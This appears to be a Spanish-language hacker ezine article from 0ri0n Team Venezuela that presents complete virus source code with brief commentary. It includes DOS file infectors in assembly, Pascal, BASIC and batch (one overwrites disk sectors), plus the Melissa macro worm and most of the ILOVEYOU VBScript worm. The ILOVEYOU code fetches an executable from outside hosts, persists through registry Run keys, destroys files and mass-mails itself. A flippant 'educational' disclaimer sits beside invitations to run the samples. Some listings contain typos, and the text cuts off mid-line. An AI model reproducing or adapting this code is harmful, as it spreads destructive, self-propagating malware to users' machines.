Copy Link
Add to Bookmark
Report

1-2: Estudio Basico de Virus

eZine's profile picture
Published in 
0ri0n Team Venezuela
 · 21 May 2023

P-Drok-Array
p-drok-array@0ri0n.org


No me hago responsable por el material que te estoy entregando, ya que esto es solo con caracter EDUCATIVO. Si llegas a joder tu maquina no me vengas a chillar como una mamita, solo te digo es es peligroso y que si juegas con fuego te puedes quemar ...

jejeje


Los Virus pueden ser escritos practicamente en cualquier lenguaje de programacion. A pesar de que son mas efectivos los virus que estan escritos en Lenguaje Ensamblador ;)

Muchos de ustedes piensan que los virus no pueden ser escritos en Basic debido a que esta limitado. Esto es falso.Basic tiene la capacidad de producir buenos y efectivos Virus mientras este sea correctamente usado. La combinacion de Ensamblador y Basic podria crear unos espectaculares virus.

Hay que denotar que en el mercado hay muchos lenguajes de programacion (Basic, Los Visual, Assembler, Pascal, Los Turbos, Etc.), y que actualmente los mas nombrados estan hechos en Visual Basic (Melissa, I Love You), ya que estos lenguajes son faciles para trabajar y cualquier persona aprenderia rapido (Me acuerdo de mis tiempos, donde programabamos en Assembler en arquitecturas Z80 y 8088].

En este articulo, yo quiero examinar algunos virus escritos en Assembler, Pascal, Basic y Batch; Estos virus fueron escritos por mi gran amigo B. Fix, R. Burger y M. Vallen.

Empezamos ahora .... pero por favor (es por tu bien) no juegues con estos bichitos.

Virus en Lenguaje Ensamblador

Muchos virus estan escritos en lenguaje ensamblador porque este es el unico que tiene la habilidad de desviar la operatividad de un Sistema Operativo.

Aqui hay un ejemplo, escrito para el MS-DOS y puede ser obviamente compilado.

;======================================================================== 
; Virus Programa
; Version 1.1
; Escrito por : R. Burger
; Creado: 19xx
; Este es un programa demostracion para virus
; de computadora. Este tiene la habilidad de remplazarse el mismo.
; y por esa razon modifica otros programas. Enjoy.
;========================================================================

Code Segment
Assume CS:Code
progr equ 100h
ORG progr

MAIN:
nop
nop
nop

;====================================================
; Inicializando los Punteros
;====================================================

mov ax,00
mov es:[pointer],ax
mov es:[counter],ax
mov es:[disks],al

;====================================================
; Obtiene el Controlador Seleccionado
;====================================================

mov ah,19h ;drive?
int 21h

;======================================================================
; Obtiene el flujo de la trayectoria en el mecanismo actual
;======================================================================

mov cs:drive,al ;guardar drive
mov ah,47h ;dir?
mov dh,0
add al,1
mov dl,al ;en el actual drive
lea si,cs:old_path ;
int 21h

;========================================================================
; Obtiene el numero de controladores presentes. Si hay solo uno,
; el puntero para el ordenamiento de busqueda constituira la
; configuracion del orden + 6
;========================================================================

mov as,0eh ;cuantos diskos
mov dl,0 ;
int 21h

mov al,01
cmp al,01 ;un solo drive
jnz hups3
mov al,06

hups3: mov ah,0
lea bx,search_order
add bx,ax
add bx,0001h
mov cs:pointer,bx
clc

;========================================================================
; Carga la configuracion, Si no encuentra mas .COM's .
; Entonces, se evita un trabaja innecesario, los archivos .EXE
; seran renombrados a archivos .COM y seran infectados.
; Esto causa un mensaje de Error "Program to large
; to fit memory" cuando carga la infeccion en los programas EXE.
;=========================================================================

change_disk:
jnc no_name_change
mov ah,17h ;cambia .EXE por .COM
lea dx,cs:maske_exe
int 21h
cmp al,0ffh
jnz no_name_change ;encontro .EXE?

;========================================================================
; Si no encuentra .COM o .EXE , entonces los sectores
; seran sobre-escribidos dependiendo al tiempo del system
; [en milisegundos]. En este tiempo se completara la infeccion
; en medios de almacenamientos. Y se inicia la infeccion
;========================================================================

mov ah,2ch ; lee el reloj del sistema
int 21h
mov bx,cs:pointer
mov al,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h

;==================================================================
; Chequea si es el fin de la busqueda ordenada en las tablas
;==================================================================

no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0ffh
jnz hups2
jmp hops

;========================================================================
; Obtiene el nuevo controlador desde la busqueda ordenada en la tabla
; y selecciona este .
;=========================================================================

hups2:
mov ah,0eh
int 21h ;cambia el disko

;====================================================
; Inicia en el directorio raiz
;====================================================

mov ah,3bh ;cambia la ruta
lea dx,path
int 21h
jmp find_first_file

;====================================================
; Inicia desde el directorio raiz la busqueda
; para el primer subdirectorio.
; Primero convierte los archivos .EXE a .COM
; en un viejo directorio
;====================================================

find_first_subdir:
mov ah,17h ;cambia .exe por .com
lea dx,cs:maske_exe
int 21h
mov ah,3bh ;usa el directorio raiz
lea dx,path
int 21h
mov ah,04eh ;busca el primer directorio
mov cx,00010001b ;
lea dx,maske_dir ;
int 21h ;
jc change_disk
mov bx,CS:counter
INC,BX
DEC bx
jz use_next_subdir

;====================================================================
; Busca en el proximo Subdirectorio. Si no encuentra mas
; directorios, el controlador sera cambiado.
;====================================================================

find_next_subdir:
mov ah,4fh ; busca en el siguiente subdirectorio
int 21h
jc change_disk
dec bx
jnz find_next_subdir

;===================================================
; Selecciona el directorio hallado
====================================================

use_next_subdir:
mov ah,2fh ;
int 21h
add bx,1ch
mov es:[bx],'\` ;
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh ;cambia la ruta
int 21h
pop ds
mov bx,cs:counter
inc bx
mov CS:counter,bx

;==============================================================
; Busca primero archivos .COM en el directorio actual.
; Si no hay ninguno, busca en el proximo directorio.
;==============================================================

find_first_file:
mov ah,04eh ;Busca primero
mov cx,00000001b ;mascara
lea dx,maske_com ;
int 21h ;
jc find_first_subdir
jmp check_if_ill

;==============================================================
; Si el programa esta enfermo [infectado] entonces busca
; otro distinto..
;==============================================================

find_next_file:
mov ah,4fh ;busca la proxima
int 21h
jc find_first_subdir

;=============================================================
; Chequea si realmente esta infectado por el virus.
==============================================================

check_if_ill:
mov ah,3dh ;abre el canal
mov al,02h ;lee / escribe
mov dx,9eh ;
int 21
mov bx,ax ;guarda el canal
mov ah,3fh ; lee el archivo
mov ch,buflen ;
mov dx,buffer ;escribe en el buffer
int 21h
mov ah,3eh ;cierra el archivo
int 21h

mov bx,cs:[buffer]
cmp bx,9090h
jz find_next_file

;==============================================================
; HABILITA LA OPCION DE ESCRITURA ... MUY IMPORTANTE
;==============================================================

mov ah,43h ;hablita la escritura
mov al,0
mov dx,9eh ;
int 21h
mov ah,43h
mov al,01h
and cx,11111110b
int 21h

;===================================================
; Abre el archivo para lectura / escritura
====================================================

mov ah,3dh ;abre el canal
mov al,02h ;lee / escribe
mov dx,9eh ;
int 21h

;====================================================
; Lee la entrada de datos del programa y lo guarda
; para su futuro uso.
;====================================================

mov bx,ax ;canal
mov ah,57h ;obtiene la fecha
mov al.0
int 21h
push cx ;guarda la fecha
push dx

mov dx,cs:[conta] ;Abre el viejo jmp
mov cs:[jmpbuf],dx
mov dx,cs:[buffer+1] ;guarda el nuevo jump
lea cx,cont-100h
sub dx,cx
mov cs:[conta],dx

;====================================================
; Se empieza a reproducir.
;====================================================

mov ah,57h ;abre la fecha
mov al,1
pop dx
pop cx ;restaura la fecha
int 21h

;====================================================
; Cierra el archivo.
;====================================================

mov ah,3eh ;cierra el archivo
int 21h

mov dx,cs:[jmpbuf] ;restituye el viejo jump
mov cs:[conta],dx
hops: nop
call use_old

;====================================================
; Continua con el programa anfitrion.
;====================================================

cont db 0e9h ;make jump
conta dw 0
mov ah,00
int 21h

;==============================================================
; Reactiva el controlador seleccionado y inicia el programa
;==============================================================

use_old:
mov ah,0eh ;usa el controlador viejo
mov dl,cs:drive
int 21h

;==============================================================
; Reactiva la ruta seleccionada y inicia el programa
;==============================================================

mov ah,3bh ;usa el viejo controlador
lea dx,old_path-1 ;obtiene la vieja ruta y el backslash
int 21h
ret

search_order db 0ffh,1,0,2,3,0ffh,00,offh
pointer dw 0000
counter dw 0000 ;
disks db 0 ;

maske_com db "*.com",00 ;
maske_dir db "*",00 ;
maske_exe db offh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db offh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0

buffer equ 0e00h ;

buflen equ 230h ;
;
;
jmpbuf equ buffer+buflen ;
path db "\",0 ;
drive db 0 ;
back_slash db "\"
old_path db 32 dup [?] ;

code ends

end main

[ FIN DE ESTE VIRUS ]

Virus en Pascal

Pascal es otro lenguaje de alto nivel que puede producir que cualquier computadora estalle ;) . A continuacion la descripcion de un virus en Pascal.

{ 
------------------------------------------------------------------
Number One

Please handle this virus with care!!!!!!!!!!! [Demostracion MORTIFERA]

Number One infects all .COM - file's name will be displayed That file has been overwritten with Number Ones's program code and is not reconstructible! If all files are infected or or no .COM files are found, Number one gives you a <Smile>.
Files may be protected against infections of Number One by setting the Read ONLY attribute.

Written 10.3.Xx by M.Vallen [Turbo Pascal 3.01A]

------------------------------------------------------ } 
}

{C-}
{U-}
{I-}

{ -- Constantes --------------------------------------- }

Const
VirusSize = 12027;

Warning :String[42] {Mensaje de cuidado}
= 'This file has been infected ny Number One!';

{ -- Declaracion de los Type ------------------------------------- }

Type
DTARec =Record {Area de datos para la busqueda de archivos}
DOSnext :Array[1..21] of Byte;
Attr : Byte;
Ftime,
FDate,
FLsize,
FHsize : Integer;
FullName: Array[1..13] of Char;
End;

Registers = Record {Registra la configuracion usada para la busqueda de archivos }
Case Byte of
1 : [AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer];
2 : [AL,AH,BL,BH,CL,CH,DL,DH : Byte];
End;

{ -- Variables--------------------------------------------- }

Var

ProgramStart : Byte absolute Cseg:$100;
{ Marcador Infectado }
MarkInfected : String[42] absolute Cseg:$180;
Reg : Registers; { Registra la configuracion }
DTA : DTARec; { area de Datos }
Buffer : Array[Byte] of Byte; { Buffer de datos }
TestID : String[42]; { Identificacion de los archivos infectados}
UsePath : String[66]; { Ruta para la busqueda de archivos }
{ Longitud de la ruta para la busqueda }
UsePathLenght: Byte absolute UsePath;
Go : File; { Archivo a infectar }
B : Byte; { Usado }

{ -- Codigo de Programa ------------------------------------------ }

Begin
WriteLn[Warning]; { Pantalla del mensaje de Cuidado!!! }
GetDir[0, UsePath]; { obtiene la libreria actual}
if Pos['\', UsePath] <> UsePathLenght then
UsePath := UsePath + '\';
UsePath := UsePath + '*.COM'; { Define la mascara para la busqueda }
Reg.AH := $1A; { Configura el area de datos }
Reg.DS := Seg[DTA];
Reg.DX := Ofs[DTA];
MsDos[Reg];
UsePath[Succ[UsePathLenght]]:=#0;
Reg.AH := $4E;
Reg.DS := Seg[UsePath];
Reg.DX := Ofs[UsePath[1]];
Reg CX := $ff; { Configura los atributos para la busqueda de todos los archivos }
MsDos[Reg]; { Find first matching entry }
IF not Odd[Reg.Flags] Then { Si encuentra un archivo ... entonces }
Repeat
UsePath := DTA.FullName;
B := Pos[#0, UsePath];
If B > 0 then
Delete[UsePath, B, 255]; { Remueve la Basura }
Assign[Go, UsePath];
Reset[Go];
If IOresult = 0 Then { Si no ... error IO entonces }
Begin
BlockRead[Go, Buffer, 2];
Move[Buffer[$80], TestID, 43];
{ Comprueba si el archivo esta realmente esta Infectado }
If TestID <> Warning Then { Si no entonces ... }
Begin
Seek [Go, 0];
{ Etiqueta los archivos infectados y .. }
MarkInfected := Warning;
{ Lo Infecta ... heeee }
BlockWrite[Go,ProgramStart,Succ[VirusSize shr 7];
Close[Go];
{ Esta listo el Pollo ... jeje}
WriteLn[UsePath + 'infected.'];
Halt; {.. y DETIENE el programa}
End;
Close[Go];
End;
{ Los archivo ya han sido infectado, Busca el proximo. }
Reg.AH := $4F;
Reg.DS := Seg[DTA];
Reg.DX := Ofs[DTA];
MsDos[Reg];
{ ......................hasta que no encuentre mas archivos ....}
Until Odd[Red.Flags];
Write[`<Smile>']; {Busca algun amigo y dile que lo ejecute ;-] }
End.

Aunque este es un virus OBSOLETO, es un virus EFECTIVO. Este virus solo infecta archivos .COM.

PROXIMO ....

Virus en Basic

Basic es un gran lenguaje y a menudo las persona piensan que es un lenguaje muy limitado [Estupidos Pensamientos] y que nunca serviran para escribir buenos virus ... jejeje les voy a echar un cuentico [el del gallo pelon]. En el a~o 1987 R. Burger creo este virus que podria sobre-escribir archivos desde una shell de MSDOS se infectar los archivos .EXE [Acuerdese que en ese tiempo no existian antivirus tan inteligentes y no existia el WIndoZe].

Bueno, aqui los dejo con este -=BICHITO=- ... ah se me olvidaba, este virus estuvo por mas de tres [3] a~os vigentes y no le habian encontrado cura [hehehe fucking Norton].

10 REM ** DEMOSTRACION 
20 REM ** MODIFICA ESTO COMO TE DE LA PUTA GANA **
30 REM ** BASIC NO ES TAN ESTUPIDO COMO USTEDES CREEN!!!
40 REM ** EL NO BROMEA
50 ON ERROR GOTO 670
60 REM *** LA LONGITUD DEL VIRUS DEBERIA SER CONFIGURADA **
70 REM *** TO THE LENGHT TO THE **
80 REM *** LINKED PROGRAM ***
90 LENGHTVIR=2641
100 VIRROOT$="BV3.EXE"
110 REM *** ESCRIBE EL DIRECTORIO EN EL ARCHIVO "INH"
130 SHELL "DIR *.EXE>INH"
140 REM ** ABRE EL ARCHIVO "INH" Y LEE LOS NOMBRES **
150 OPEN "R",1,"INH",32000
160 GET #1,1
170 LINE INPUT#1,ORIGINAL$
180 LINE INPUT#1,ORIGINAL$
190 LINE INPUT#1,ORIGINAL$
200 LINE INPUT#1,ORIGINAL$
210 ON ERROR GOT 670
220 CLOSE#2
230 F=1:LINE INPUT#1,ORIGINAL$
240 REM ** "%" ES EL MARCADOR DE BV3
250 REM ** "%" EN LOS NOMBRES ACTIVOS
260 REM ** INFECTA LA COPIA PRESENTE
270 IF MID$[ORIGINAL$,1,1]="%" THEN GOTO 210
280 ORIGINAL$=MID$[ORIGINAL$,1,13]
290 EXTENSIONS$=MID$[ORIGINAL,9,13]
300 MID$[EXTENSIONS$,1,1]="."
310 REM *** CONCATENA NOMBRES EN LOS ARCHIVOS DE NOMBRES **
320 F=F+1
330 IF MID$[ORIGINAL$,F,1]=" " OR MID$ [ORIGINAL$,F,1]="." OR F=13 THEN
GOTO 350
340 GOTO 320
350 ORIGINAL$=MID$[ORIGINAL$,1,F-1]+EXTENSION$
360 ON ERROR GOTO 210
365 TEST$=""
370 REM ++ OPEN FILE FOUND +++
380 OPEN "R",2,OROGINAL$,LENGHTVIR
390 IF LOF[2] < LENGHTVIR THEN GOTO 420
400 GET #2,2
410 LINE INPUT#1,TEST$
420 CLOSE#2
431 REM ++ CHEQUEA SI EL PROGRAMA ESTA INFECTADO ++
440 REM ++ "%" JEJEJE..
450 REM ++ EL ARCHIVO ESTA REALMENTE ENFERMO ++
460 REM IF MID$[TEST,2,1]="%" THEN GOTO 210
470 CLOSE#1
480 ORIGINALS$=ORIGINAL$
490 MID$[ORIGINALS$,1,1]="%"
499 REM ++++ PROGRAMA SALUDABLE ... SAY GOOD BYE ++++
510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
520 SHELL C$
530 REM *** COPIA EL VIRUS EN EL ARCHIVO SANO ****
540 C$="COPY "+VIRROOT$+ORIGINAL$
550 SHELL C$
560 REM *** ANEXA LA ETIQUETA DEL VIRUS ***
570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
580 WRITE#1,ORIGINALS$
590 CLOSE#1
630 REM ++ SALIDA DEL MENSAJE ++
640 PRINT "INFECTION IN " ;ORIGIANAL$; " !! BE WARE !!"
650 SYSTEM
660 REM ** MENSAJE DE ERRO DEL BICHO
670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM
680 END

Este virus solo ataca los archivos .EXE .... Pero solo ejecutalo para que veas la salida [jejeje].

Virus Batch

La persona que diga que no es efectivo un virus de tipo BATCH [.bat], esta bien equivocado, ya que es uno de los mas poderosos [porque trabaja directamente con la shell del M$DOZ y usa el DEBUG && EDLIN].

Nombre: VR.BAT 

echo = off [ hace falta explicarlo????]
ctty nul [ Esto es MUY IMPORTANTE]
path c:\msdos [ Esto podria diferir en diferentes sistemas]
dir *.com/w>ind [ El directorio esta escrito en "ind" , para solo entradas de nombres]
edlin ind<1 [ "Ind" es tratado con EDLIN , asi solo aparecera el nombre del archivo]
debug ind<2 [ Nuevo programa Batch es creado con el debug]
edlin name.bat<3 [ Este Batch ira a ejecutar directamente al EDLIN]
ctty con [ Se le asigna otra vez a la interfaz de la consola]
name [ El recien creado NAME.BAT es llamado.]

Comandos Primarios

Name: 1 

1,4d [ Las lineas 1-4 en el archivo "IND" seran borradas ]
e [ Guarda el Archivo ]

Comandos Secundarios

Name: 2 

m100,10b,f000 [Comienza con el nombre del programa y es movido a la direccion F000H y se guarda].
e108 ".BAT" [La extension del archivo es cambiada ahora por .BAT]
m100,10b,f010 [El archivo es guardado otra vez]
e100"DEL " [El comando DEL es escrito en la direccion 100H]
mf000,f00b,104 [El arhivo original es escrito despues del siguiente comando].
e10c 2e [El periodo es colocado despues de cada extension]
e110 0d,0a [Presione cualquier tecla + alimentacion de la linea]
mf010,f020,11f [El archivo modificado es movido a la direccion 11FH desde el area del buffer].
e112 "COPY \VR.BAT" [El comando COPY es ahora puesto en la parte de adelante de el archivo]
e12b od,0a [El comando COPY termina de ejecutarse cuando se presiona cualquier tecla+lf]
rxc [El Registro CX es ... ]
2c [Configura en 2CH]
nname.bat [El nombre es ahora NAME.BAT].
w [Escribe ]
q [Sale ]

Hex descarta el tercer archivo de comandos

Name: 3 

0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79
1 , 1 ? . . n y y y y y y y
0110 79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79
y . 2 , ? ? r . . n n y y y
0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00
y y y y . E . . . . . . . . .

En este orden es como trabaja el virus en VR.BAT, y deberia estar en el directorio raiz para poder trabajar. Este Programa solo afecta los archivos .COM

Anexos

Aqui les dejo el codigo fuente en Visual Basic && VBScript de los dos virus mas importantes en nuestra ultimos a~os, que son el MELISSA y el I+LOVE+YOU, espero que los disfruten y que aprendan mucho de ellos, ya que son virus muy interesantes [en la forma en que trabajan y sacan la informacion].


-= MELISSA =-

<--------------------------- Aqui Empieza la Fiesta --------------------------> 

Private Sub Document_Open[]
On Error Resume Next
If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level"] <> "" Then
CommandBars["Macro"].Controls["Security..."].Enabled = False
System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level"] = 1&
Else
CommandBars["Tools"].Controls["Macro"].Enabled = False
Options.ConfirmConversions = [1 - 1]: Options.VirusProtection = [1 - 1]: Options.SaveNormalPrompt = [1 - 1]
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject["Outlook.Application"]
Set DasMapiName = UngaDasOutlook.GetNameSpace["MAPI"]
If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists[y]
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem[0]
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries[x]
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-]"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item[1]
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item[1]
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines[1, 1] = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ["Private Sub Document_Close[]"]
Do While ADI1.CodeModule.Lines[BGN, 1] <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines[BGN, 1]
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines[1, 1] = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ["Private Sub Document_Open[]"]
Do While NTI1.CodeModule.Lines[BGN, 1] <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines[BGN, 1]
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And [InStr[1, ActiveDocument.Name, "Document"] = False] Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf [InStr[1, ActiveDocument.Name, "Document"] <> False] Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day[Now] = Minute[Now] Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

<------------------------------ Aqui Termina --------------------------->

I LOVE YOU

<---------------------- Aqui empiezas a Enamorarte ----------------------> 

rem barok -loveletter[vbe] <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject["Scripting.FileSystemObject"]
set file = fso.OpenTextFile[WScript.ScriptFullname,1]
vbscopy=file.ReadAll
main[]
sub main[]
On Error Resume Next
dim wscr,rr
set wscr=CreateObject["WScript.Shell"]
rr=wscr.RegRead["HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout"]
if [rr>=1] then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder[0]
Set dirsystem = fso.GetSpecialFolder[1]
Set dirtemp = fso.GetSpecialFolder[2]
Set c = fso.GetFile[WScript.ScriptFullName]
c.Copy[dirsystem&"\MSKernel32.vbs"]
c.Copy[dirwin&"\Win32DLL.vbs"]
c.Copy[dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs"]
regruns[]
html[]
spreadtoemail[]
listadriv[]
end sub
sub regruns[]
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget["HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory"]
if [downread=""] then
downread="c:\"
end if
if [fileexist[dirsystem&"\WinFAT32.exe"]=1] then
Randomize
num = Int[[4 * Rnd] + 1]
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if [fileexist[downread&"\WIN-BUGSFIX.exe"]=0] then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist[d.path&"\"]
end if
Next
listadriv = s
end sub
sub infectfiles[folderspec]
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder[folderspec]
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName[f1.path]
ext=lcase[ext]
s=lcase[f1.name]
if [ext="vbs"] or [ext="vbe"] then
set ap=fso.OpenTextFile[f1.path,2,true]
ap.write vbscopy
ap.close
elseif[ext="js"] or [ext="jse"] or [ext="css"] or [ext="wsh"] or [ext="sct"] or [ext="hta"] then
set ap=fso.OpenTextFile[f1.path,2,true]
ap.write vbscopy
ap.close
bname=fso.GetBaseName[f1.path]
set cop=fso.GetFile[f1.path]
cop.copy[folderspec&"\"&bname&".vbs"]
fso.DeleteFile[f1.path]
elseif[ext="jpg"] or [ext="jpeg"] then
set ap=fso.OpenTextFile[f1.path,2,true]
ap.write vbscopy
ap.close
set cop=fso.GetFile[f1.path]
cop.copy[f1.path&".vbs"]
fso.DeleteFile[f1.path]
elseif[ext="mp3"] or [ext="mp2"] then
set mp3=fso.CreateTextFile[f1.path&".vbs"]
mp3.write vbscopy
mp3.close
set att=fso.GetFile[f1.path]
att.attributes=att.attributes+2
end if
if [eq<>folderspec] then
if [s="mirc32.exe"] or [s="mlink32.exe"] or [s="mirc.ini"] or [s="script.ini"] or [s="mirc.hlp"] then
set scriptini=fso.CreateTextFile[folderspec&"\script.ini"]
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if [ $nick == $me ] { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist[folderspec]
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder[folderspec]
set sf = f.SubFolders
for each f1 in sf
infectfiles[f1.path]
folderlist[f1.path]
next
end sub
sub regcreate[regkey,regvalue]
Set regedit = CreateObject["WScript.Shell"]
regedit.RegWrite regkey,regvalue
end sub
function regget[value]
Set regedit = CreateObject["WScript.Shell"]
regget=regedit.RegRead[value]
end function
function fileexist[filespec]
On Error Resume Next
dim msg
if [fso.FileExists[filespec]] Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist[folderspec]
On Error Resume Next
dim msg
if [fso.GetFolderExists[folderspec]] then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail[]
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject["WScript.Shell"]
set out=WScript.CreateObject["Outlook.Application"]
set mapi=out.GetNameSpace["MAPI"]
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists[ctrlists]
x=1
regv=regedit.RegRead["HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a]
if [regv=""] then
regv=1
end if
if [int[a.AddressEntries.Count]>int[regv]] then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries[x]
regad=""
regad=regedit.RegRead["HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead]
if [regad=""] then
set male=out.CreateItem[0]
male.Recipients.Add[malead]
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add[dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs"]
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
